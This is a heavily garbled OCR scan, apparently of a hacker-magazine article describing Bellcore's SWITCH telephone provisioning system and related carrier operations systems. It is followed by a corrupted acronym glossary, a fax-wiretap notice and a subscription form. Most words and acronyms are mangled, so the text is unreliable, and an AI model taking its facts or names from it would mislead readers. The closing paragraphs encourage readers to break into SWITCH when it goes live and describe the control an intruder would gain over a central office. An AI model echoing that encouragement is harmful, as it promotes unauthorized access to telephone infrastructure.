edoworks Fines (LMOS, MLT, CRAS CREAR)
MOF (COSMOS), ewilsh (MIZAR, SO05,
Oy, pleg-ia equipment (FIGE), and
intepoffice cirpcdts (550, KTEC, acd SARTS for
speczal mervices crnste; CARDT and CTTL Gor
pablic mwsarage ranks; asd TIEKS o both
types of tndcreffoe cirenitl. The BELLCORE
reszhdivieton of e LEC smyulem will make &1
Alftees e reses'centern ard 055 R under
thres systems: OFs, EFS, and [F5. OF2 slacds
for Qparationz Process Syelem. OPS s
Fekproroibide Tor insballing, Eralizg, monilodng,
mainkaining, and "fixiog® servicesservice
fquigiml bn Lhe Wlaymenusioins netsork.
[ poch 2 SARTS, LMOS, ond CARCT vl
ha prpder ths vmhbrella of QP2 EPS
tEngincering end Flanalag System] desiges
and enginears b LEC Lelecommunicalicna
nelwark by integrating dislrilution planning
avatems, inter-offce placnicg systems, acd
switching placning ayatera. 1PS standa for
[ntegrated Provsdonieg Svstem 1F2 is whot
Lhe FACSTIRES integrution wirald corme about
nnder. 172 reapanaibdlity 13 ko z=sign
sruipmanl snd Tacililien Lo provide a servicoe.
Eomie ayaleme that will fall wadir 1FPS"
noverella are S0AC, LPACS, MIZAR, pars of
TIRKS, &nd a céw 058 thet 1 will dererike
Below, Oae abonld reasember, Bowever, thet
the idea that the Indagrated Provisicaing,
Brgindéring &£nd Plinnicg, and Opersliang
Process systems are selfencloaed 15 a fallecy.
The EFS, O[3, azd [T5 will ioterrelate with
wasch olher, jasl an TIRKS interrelabed with
BOAC, or CRSAR ioterrelated with 250 oo
cogasion. The "new oodec™ ie [nirly cbwvicas;
cuslamer regmesls for 2ervice ane Bondled by
1FS. Operation of the servioes ie Tun by OFE
The examinatioe of the gervice, planning of
maw sppyvices Lo offer curtomeis, and Lha
engineering of D o0w seevoes is handled by
EFs,

The LEC's new gobdiviicn intn [FS, OFS,
sod ETT 3 going Lo have a hsge offoet oo LEC
cpecalicna 45 we know them today. [4is
b ppenisg bovnuse of the move towends 1200,
because of COC1S, multipliadng, and inldligent,
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EPC clecironbe ewitehies. Bul really, e key
Ggure in lhiz thange ken been the epcoial
sepyioce circoih The spodal servecs et i
rexlly what bas revalulicnizsd the LEC
telooonueaniaations network bomnes the line
and inferalice boaik came Logrether bo form one
feireait”. This edellalag of whel & sirosil ia has
cnormous implicotioas on the fotere of
el ernmmmniea Lo,
SwWIILCH

EWITCH 15 & mow sorvioe peovishoning 53
created by BELLOORE b0 belp aocomplsh the
aim of TF3, W alliw Dew-thresgh prissenng of
ordera by awtematically ossigning LEQ
sntipeent and feoilitics for & sorvios, SWITCH
ol keep track of and a=eign sgopoent oo the
Yice and tpank side oFa wimssenter, SWITCH
will &l Belp the provisiadeg peotess i other
arcas g well,

Becares of the encomily of whal BEWITCH
will do, integrating wirecemter facility
praviioning on the lime and tronk side of the
gwiiching nelweck, SWITCH develiprmenl in
cul inle twa “phases™ Yersion 1 of SWITCH
(Versoa 1 meoning all asbrerstoos of Version
1 enllectively. ¥Wermicn 1.0, 1., L7, 1.247C3
cte will caly koep trock offas=tgn faclities on
ihe line side of the wirecenler. Leg v Lake a
kezk ml the “hirlery™ of S'WIUTUH, sterting =ith
ihe cootephion of SWITCH 1o ite development
ap L e weond $eTabon.

As atpied in the previcos section,
EELLCORE Bad hied the idies ol the
IPSOPS EPS aystem, which integrated the
provigioning, nperalions, enginesring, and
slannizg of the LEC systent for ook the line
ard druzk side of U network. [ lale 1037,
BEELLCORE Jid 2 debailed study of the LEC
syatenm, cspocidlly in the area of a wirecealer
poormicning of new ledsnclogies ansd servioss.
Feom tkis atady, she svggeebica of o syaiem
thet previsioned fer helh sides of the
wirecepler, which woald, theough integratica,
kelp mwel the growing demand for these new
techinoligies, cames Aol Aller Lwa years of
develpmmenl of Ui+ palem that woald b callad
BWETCH iso nemed becaves ib was am
extanaion of the trunk aed lise siden of the
wirermnber, thue an extendion of the “switch™],
the deafgn of ¥ersion 1.0 was complezed.
[Ferhaps peedless to pay, BELLCORE's
original schedule of when tha ....n.n._m_:E .....E.E._:.
gul  wak a hil everenthusizstse dime-
sotedulenisal,

Yervion 1 of SWITCH poovisira excluxivily
fer the o gide of e wiremnter, OF coaree,
everyone B oaware of [he RS Lhat corrently
provides for she line stde of the wirccenter
COSMOS, [n Yersion 1.0, EWITCH will bave
Lhe akilily Lo Lake vver hall of COEMRS
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rapubilities (bot Yersion 1.0 s just a Lesl
veomion = TWTTCH Yorsdoa 1.7 o8 the Gret *real”
o - 0 that doesn't mallecs Mot of dke abiby
to Bolp im Wemsion 1.0 woicld b in tae Beld of
provizioning for I3 lines and puchel
swiiches COSMOS @ oot able to allow flow-
thrmugh peovisioning of many of these pew
Lk nologies. EWITCH iz able ta allew Muw-
throwgh provisioning of 151N and packes
awilchen For digite! (and analogh switches
hecaase of 1ts sophisticated data model of
acrviees and circwils, Obvizuuly, SWETCH
woold b betler able Chan OO b geaerate
wwileh-aperifls messoges (B messages) drom
aetvice ceders when MIZAR requests in the
field of ISDN,

FOMA, Frame Opcrfatlicns Managemsnt
Syien B The seb-sysnem of SWITCH chat =il
denl with the mapagement of work oo the
MOF. FOME fe e S'WITCH as CIMARP i b
TIRES Lo, FOMS is almost a scparate Q52
The FUME epbevetem of 2WITCH was areataed
aloog with SWITCH ard & mol & klover pisas
frozn COEMOE, FOMS will deal with the
moanechion pzed separmficn of cable paire [tom
IR,

How wonld 3WITCH work in the lice
provisiming preces2T A cuclomer wiyld phone
in Bis Fequest for o ecw Heo 1o the basinesa
offce, piving any deladls reseded (standard line
or [E0N 1, call woiting - Fes‘ne? etc
Tkccoghaost whatever svatem the Dosinees
COMiee sould have, The seevide ander wokld
evenizally caach the SO (SOT was the mwlem
which mereice mdere enfbered FACGS sith) S0P
would forwerd the service arder be SOAC,
SOAC wioald sand LFACE {(LFACE in Ltha
provisiozer for the coteide loop planst and
BWITCH the order, LFACS provides [or the
ouislde pleet part of che serviee arder, i.c.,
ababion pootecior to mables vaalt, alll ike MDF
&ed wwilsh vlemenle masl ba provided For.
EWITCH gives the order fo its POME
b ben for [Farpework via 5040, FOMS wll
atiord ke Ynew OF bs OFL SWITCH Blae wods
the prrvios ordor to MUEAR vz S0AL. MIEAER
enlery Lhe gemdee ooder intg the swhich as sn
RC mcsanpe. Thin i kow & line proviaion Wi
done before, the aaly differene: with SWITCH
Warwiom 1 heing that POMES replaces QOEMOS,

.__r._._.u. ke SWITCH S conreeliora s MITAR
ard even FOME (ita own sudeeprlem) done via
S0ACT Bacanse SWITCH hos mare *conirol®
a¥CT Ehe provisianing protess, The contcel
wamee abonk whiz pa arder B changed whila it
in pecdicg. [n thds siteatios, SAWETCH @ avoch
ooore Rexible than COSMOE, IE an order
changes midway, SWITCH e sisnply mesork
th order na necersany, SWITUH 15 “in charge”
or Cresponaible” for raworking Lhis order,
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crronrily o boodbe Boocile diens schodole *plles”
for ardera. Dhricualy, be=idas these crdar
sehedule “piles”, EWITCH moat alas have
detzdled records of all the lEneaids squipment
al the wirecenber e allow thia Nexibility i=
nsaigming and recssianing Bodibes.

SWITCH Vewwisn 1.0 wan “implemeniled”
during Deiember of 15559 in ten (Fs - ok En
Lang Heanch, New Jorscy (Hell Atlazbie) oed
the other in Cahaba Heights, Alabama
i BeliZouthl Iooplementad is in quotes bagaee
EWITCH Vermen 100 never eominects wilh The
peiunl switehieg network. Ewitch Versos 1.01s
lecated in the wirecenter, and gpeds service
order data, bot never coonects with SOAC,
There ars [wo plages of Verkion 1.0
“eaplementation”. Stege one s Frovisioning
On-sive Verification Testog (POYT). PFOVT
pende precdoordery, crealsd by EELLCORE,
1 SWITUH acd then verifos e poselbs Ao
SWITCH with the prescaleulated correct
reswliz Stage 2 of Verwion 1.0
“impkrngnlelicn” & Nelbod Pyl Verfication
Tegring (NFYTH NEVT sends real castomer
crders o SWITCH Lo see if BWRTTCH prscesses
ceders coeTectly. Though the ceders are real,
EWITCH = el nel aclaally cocmesling wilh a
pwilching pyubem

EWITCH Version 1.5 =il be che Brat time
SWITCH ir aelually comnricled wilh real
equiperect EWITCH Versiom 1.5 will condain
whalever oesdificalions thal FELLCORE lell
the need 02 @ake froen the resua of MOV and
NFY tewling, Threagh G040, SWITCH Vendan
LE wAll poneand with 1LFACS &nd MIEAH and
will beooos o part of the sepvice poovisioning
syalem. This  “scek” versbfon will be
iziplemented in e 2ame Lwe wirezniers Lhal
POV asd WPV Eenlicg Lk pleos in, DOGMTS
will mos B bedally coat of the pictore vet becapne
EWITCH will need & lew mare dpdiles @nleted,
B Ew mere bgs weeded out, ete. Veraloa 1.5 k8
expeoioed bobe implementbed inomid-1831,

BWITCH Vereien 1.7 will cantais mojor
ehenges thot came aboat during the Yemsion
1.5 Sspak®. The most mogor of changes will be
Lthult EWITCH in Yession L7 ms Jend widkodat
COSEMOE torally, e, those who implement
EWITCH szl get rid of OOEMOE, Version 1.7
of SWITCH =11 ke rrsede wvailatde foe LD iz
fn late 1591 ("projectcd® date - pretoy
precotions). Hy [ote 1692 moga. 8WI1TCH
implementation/COSMEE annihilalion i
expecied, The RIOGS mest faterasled in
SWETUH, end moest interesled in impleznenting
it, ave Mynew, PacBe Bell, and GeliZmch

Yereion 3 of BWITOCH =il nat aaly
prewiniad for the line shde of the petwodk, it w21l
provisioa Tor the trunk eide a2z well, As
SWITCH replaced COSEMLE Mo Hae-side
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wirtoiziber provigioning, s SWITCH replaos
the rurrent trunk side wirerenter provisoneris)
TAS (Trank Adrndeistiatben Syvstent) end GTAE
{Gemeree TAS) TAS apd GTAZ were TIRES
medules thal arnigned Lrunks Lo the “trock
frame® (] nse this phrase virtoally) on the
trunk eids of the pelwark, sand lronk
provitioning al the OO wis deptndenl oo
TAZGTAS. But now SWITCH =ill nssign
“trank frame slals™ in pesponss b “codece™ [Lhat
cegne Triem the nelwork plansirglrusk trafic
divislon of the LEC, just o8 SWITCH estgoand
fine frome =lots in responee to orders (that
e Tmnn Gasbirmera L

The entlrgne: of SWITCH inta trenk
provisioning is just pact of ao overall effoet
enderway af revieing Erenk prvisioning. Thers
will bz i TIBEKE-S0AC-SWITCH menedion.
When TIRES gets an "order”® from the trusk
LrafMieplinnizy Purekis For 4 new Lrank oo
rarrier ko be placed beswoen offices, the flrsc
thing TIRES does iz momermnicale with S0AC,
ol trough SOAD, SWITCH. SWITCH seeiizo
a space for the dconk oo the Soank Bame™ and
then relurne the compleled sesignment to
TIRES through S0AC. Then TIRES sends the
arder Lo olher O98'welline's Lo enmplete the
trunk order fwly. §skhoald moke it chear that
thig Vemaicn 3 conneclion heiwpen TIRES and
SEACET 11 fost o tokea one, and the TIEKSS
TFACE" iemnecion will exgond preatly within
loter werelons of S'WITCH, a3 w&ll aa non-
relaled Lo EWITCH waye, S2ince TIRES i=
eomcerned with deank provlaimniog knd FACE ix
cocrernied with line poovisioning, tha expasdod
tetorface wWell mean emere of & eomreeling
kelween line and trenk provisionicg Lo the
Fotore. BWITCH version T will e Lielirgy
Jet Tike ver=son 1. The teshHng will take plase
1o the 2 $ibs Ve 1 Lewling Lok place in.
Testiog will revalve aroond the same Hecs:
“parallel”® lecling wilh test dala, parallz]®
tesbng with real deta, i=iticl el Lsige of Che
ayelem, gyalem allar mofEcalions made foom
wickdng previcas lestieg Jasd ready foe jatiol
distributiond And sinee BELLCORE'S time
drlimation of when YVenoom | wieald e ool was
so off, theyvre oot making aoy promises as of
when Yersion £ will be Jiatoibudad, Thal's pa
explarnalion of Uhe Do versiona ol SWITCH. Aa
1 sphd, Versloa 1.5 s the Sest teee EWITCH
will nerualdly be provisicodng for erders and will
aclvally ke Bocied wp L BOAC e, the Miret
tlen: it @i net Be dn bosd mode bat m workieg
meede, Impleoetation of SWITCH Verviom |5
chould coincide with ths dislribalicn of thie
{sue of 200 Ty pevioral wonlia,

The Buslecss Offee vl vee SWITCH ar a
dakabase for telephone nombers and the
Servires each Lelvphene number has (BEOF,
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Spewd Calling, edn b This infeemnetion will be
provedoed throogh e B rwso Do SAITOH
safllware eantracl Jlher ceaters fosd 55%)
that are copmdiod with Frovisioring casboencr
wervire will have their own seperobe aallware
conptracts with SWITCH fer tnformetion
receiving: “Coniracts® are fundementally ia
raka BWTTCH an QS04 syvsberm (elter a7 1his
D20A Uss paneing we Nnally have coel, et
more thearetically vontrects poict oot the
second side of "provisioning™. OF cosces,
aaaignment hik Leen the coly part of
LWITLCH's provisloning precese en far,
szsignment of line and tcook frame "slots",
Huwever, ancther Wi pack of provisioalag (s
iaveatery, or slsply Keeping Leack of the
aesignments, Throogh these oontracts,
SWITCH fulAl% it seamd provisicnizg doky.
The enly sgyabom S WITUH s:tually connects
o (in Wersicns L and 21 3 S0AC. Bot cheoogh
SO0 (ond terowgh TIEKE vis S0LC),
SWITCH connects to LFACE, MITAR,
FLTIRKS, CIMAP, and even CAROT, The idea
of conncetiag all the provigiosing sjatems
{tromk and Hne side) 35 o corecrsboss of 1745,
Ome of EWITCR's Tealures Lhat maks ik
batber than COZMOS ond GTASTAR in thet if
an arder cannal be complebsd by SWITCH, 36 is
ot beaat partally completed wich infoeraotbon
froen SWITCH' s dalabase, L make lile for the
pers=on who would mapually complete a
mplen order [ a new Jigital mervics ansier
Perhaps the oolest thing ohout SWITCH
iy the LECY, net Lhe hacher] ia ita Mea@nlily
pertainieg to peediag works [te "ne prob® to
change san prder midway Lhrough tha
prosislcadeg proccss with SWITCH. An ocder
chanpe ein range frion & chasge in due date
fpash the installatbon from B8 bo BRI to 0
chanpe in Meilities (make that 1wa N, sol
cael. SWITCH jost reworks tbe order and

We just discovered an
extra set of wires.
attached to our fax
line and heading up
the pole. {They've
since been clipped.)
Your faxes to us and
to anyone else could
be monitored.
Our fax line is:
516-751-2608
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thots that, no mess, o foas, And SWITCH

rewiarka oA order in e most costafEdenl way

chad ik .

1 suapose | ghould el yoa that SWITCH
will b rumning @ 1 EM comgpulibie relintrame
oemgraleta. Slnce SWITOH won't b boaked up
te any OS5 o evon any aclual equaigment
enit] twa menths past this arbieles deadhed
[newver euind o pode tm a Datokit Y05 or a TOC
F&EM), this acticle is o "presview®, nol & “re-
slow®, Far thatl season, e do not go inle the
bame pechanics of SWITOH kgon, commands,
ale. However, TWITCH 1.5 will be implemented
right ot the tims: this iseve comes st (in the
BEedl Atiantic gnd BellSoath olloes previolsly
—rrelinned), 80 you will he able to hack inic
awrrCH. 16 wimld be rather amueiog to bave &
hocker on an 0685 on the B8 day the 055
ever uksd.

Sn in the ead, what will SWITCH and
[FAFERPSAPS mean o hack e Well, Srouies®
are & popalar thing nesedays. Cne who
“sontrols" Telerwd cin noorss a BOCh privale
THUA prefix® with ense, and thua thrcogh
Telenct oor has a pocfe Lo an BOCTS G2, On
the same Lekez, SWITCH will provide muiea
for hackers, 3WITCH cun raute 1o 503,
MIZAR, LFACS, and TIEKE. Za bosically il a
hackér controls SWITCH and the saitch, b
confrole i whale Eumaed OO0 from cable Tonm
La CHGT.

SWITCH Versics 2 provisicas moisage
trunk= ab the G0, Nowadarve brenks aren’t
importent withn:l 2400 Ha ablistics, unboes
they mre specal eervices circoits, Bat wilh
COIS and IS0 mipnalling, when the sxilching
pebwork etk cmbooneT bogin Lo cente ealle
over trunks separate of the dalavolee sigoal,
perhaps the fmportance: ol rocks will iz reses
OF pourss, tradibionzlly, the OF8 syeleas Bold
the grealesl mileem among Fackers, for LMOS
and BARTE fas petzlly take conteol of finesm
ard spocinl srrrces droaite mmpeeticily. IES
wirald T sl o Che daiabases  after ad, IPS
not only proviaions, 1% keeps resocds ol dhe
provizions as well. Ferhapa in bhe future,
Enoewlidge of LELC tToaks will gre= in
importance, if the way the Modal svatem we
ciarreniy have changes &r well {.c., from
NPASNI RN o e moee eomaphoated syetem
containing "can't grd 40”7 areas - hardwiricg ard
special pervioos Hnom el

AR

BELLLOES: SELL COmm ssizaliss FEweEreh

CARDT: Cartralizad Aolomabe Basorling On Tourks.
This (8558 T o kol FL e romis g Sar brocchils srd
n=d alarie trchrecdare.

C%: Carrman Chamnal Iriezoifice Sigralling. & tapa
n__.__.J._:”-. pigraisg srhlne Lh wgnid pod the
rauling are maprabad.

L2551 Fargut enie. St me,
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OO P Cincit Iretallnzan sred Mainboninss
S ufin (e Ereicngs

Gk Central Qs - Tle: o where tha cuglemer
sanrects wilh the witdkleg pebwerk

COINOE GO pirler Fyebem for Mui=lrome
Chpeewiizn - 02 OEF thot veed ba praviear [ar
[ifse e mFacd arsacn S conreeting O3 TP,

L3 Cuble Pali - Johe Muefieki

CRAS: Cobls Peparlr B2mririetralive Syslen.

RS Cemtrulized Frpatr Serrios Anmwering Ronai

1T Cameral Trenk Thaet Tk,

DS Digitod Sooeea ans Cnececoanect Syvim.

oy Dipdey Choas Veien,

EF%: Enpracriig abd FIrrring Svetam.

a2 Feofey Awdgmrsent aral Crodrol Seottl The rpden
ral sl fo proxi ar Er cosdomer e ondene

PO Freqearey Divican Mullgleaing

B % Frne Ot rubiors Managemact Evslen. The
wzhay e of SWITCH teat bl oo TUCR MO,

TS Copuer'e Trerk Admrincstirabon Sxulem

[HM: Irderrab ool Buences Mochise,

[EC: [aner Fwchangs Uarrar

[PE: [niepewied Pravidefiing Sy elam.

LSES: [mbagrabed Servicos Digital Relwarl

LAC: Taop Amlgem et Cacber,

LR Lacal Fexhampe Carrier L ool 0. simeliman w
B ihas ovbpaess one =r moes LATA s iz an afs,

1. ¥ Loop Paclities Ssdgnrient pmad Cardral
Syabem

1002 D acp Mainlenpmee Dparacizn Npwlan,

W Wain Chalribeliog Presie,

MF. ReinhErequensy.

WA B e o L e winad -

MLT: Mastarcasd Laap Tl

NFVT: Bstoad Fisld Farfewtion Toaling.

MTEC: Wetavek Terminal Faqs srask Cacler.

WEHFO Mere Tork and Mew Seglend eriing U oegon’
Pl ared X Lre prese bingr Ui uehororwn e aarlling
Fedrimg of et e g mbrmua e sl wred Lhe
e hrrale e Ly" ol s (ol BFWETT)

0T G [hpesdans Dala.

OF: Qe Egelpnicat - Dryginabing Squnmenl - &
Hra's Jacatiza an e MOE

COT Drenlandng Trunk - whiene Leanks lecvs Che DO,

Ta FEnht §8 ByiEm.

st Buppart Spabed - g (ompaler speiem
nsed b s LEL or 190 Lo mectankes epesulicns

PFICE: Plug-iz lnwezhony Cendral Spelam.

FOVT: Provisanc=g On-gile Fesilieatims Teeking

FEX: Pucher Swilching hslworke

Hi: Sasack Chungr.

BOF; Rerpoie Cntt Forwardi-g

FUI AT Socwml Chuange Mamiory Admizlelrabie
aplar,

BT Fegicnal Dperasing Campasy - Ny=ex,
Emesitech, BellBoich, 5 Week, sbe,

AATTE, Erilebeed frrenn Peraie Trel Exulem,

N5 Swilching Contrzl Cepler Svptem

SO0 Servles Cover kratveis and Caztndl

0P Sevier Dol Friddusing.

EFC: Eteerd Frogron Comera

S Speeinl Barvice Cenlee,

SWTTC . Bye anewar i blowin® in Uhe wina. .

TAS% Trunk Admizisbration Serem

TDM. Tome [ovisom Mo cipaxing.

T16KS: Tronhs Delograted Bomed KeeFlng Spaten.
Thia pyeteen corkron nbmzol every wupeck o
ovvety: Wizl expl taring

W Vel { oo Bl

Eppocal oAk po Doen i Perker

Spring 1905

; i o, Wa pbed o postpons our rata hilke 30 de Jong 48 posaibla,
OUr Tacant H5 % incroase | postal feas, though, made It
Longar, Webie mads an efferd 1o Xeep thia neraass 58 00
pesihle P Geatvbdual Fabes have bean ralaed by 53 ¢
tAalad hava gona up by a smallar parosntag
“f agias or for ovarsess subsoribare, Wa

g5 par yenr i
avan'h Ta w.w._ru.u
& Mept oari
A want 1o maka

TamAlns chtainabls to ae many of FoU &8 s
S Bounbing on soone olhear fastoTe to help
Toore multhVasr subeariptiong a3 that wil
nibom, Boole {mae saled plao help to pay
popha; Mke printing, phonss, ete. And wan
: i antporats policy. ColDoTations and mssinatd
gedaTal b dheal Many moTs Menple rear our magasice IRk
bediirsa e aTe oftenn foroed to writa up bils and velddfor shes antites, TF
yoip don'E batlava the corporate rate sheuld apply %0 yoi don't use corpaiate
ch3cxa and avold having the magazine eant (o & oOITCEER Rddmeas. If you
H_wn,m”ﬂ#_n.u fovadae you, we mnist 9o 3 ek the corporeha iala, I you pa Bl el
E#«ﬁwm%n small busloges, We wil, 1o all ikelthond; #limy for the

Flats by ibTaba. This has alweyra bean our poliey. Tha diferetos 19 thab wa

L
u.MW.hEE Beacure gUFic about it 1 wee are $0 keap o Tabes whers the)r ars.
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INDIVIDUAL SUBSCRIPTION
W tyeard2! O 2years$38 O 3 years/$54
CORPORATE SUBSCRIPTION
O 1year$50 0 2years/$90 O 3 years/$125
OVERSEAS SUBSCRIPTION
O 1 year, individual/$30 2 1 year, corporate/$65
LIFETIME SUBSCRIPTION
260 (you'll never have to deal with this again)
BACK ISSUES (navar cut of date)
0 1884/825 O 1985%25 O 1986/825 O 19874525

0 1988/425 O 1989/%25 L 1590v§25
(OVERSEAS: ADD $5 PER YEAR OF BACK |SSUES)
(indididual brck issues o 19631053, 1950 are $6.25 sach)

TOTAL AMOUNT ENCLOSED:




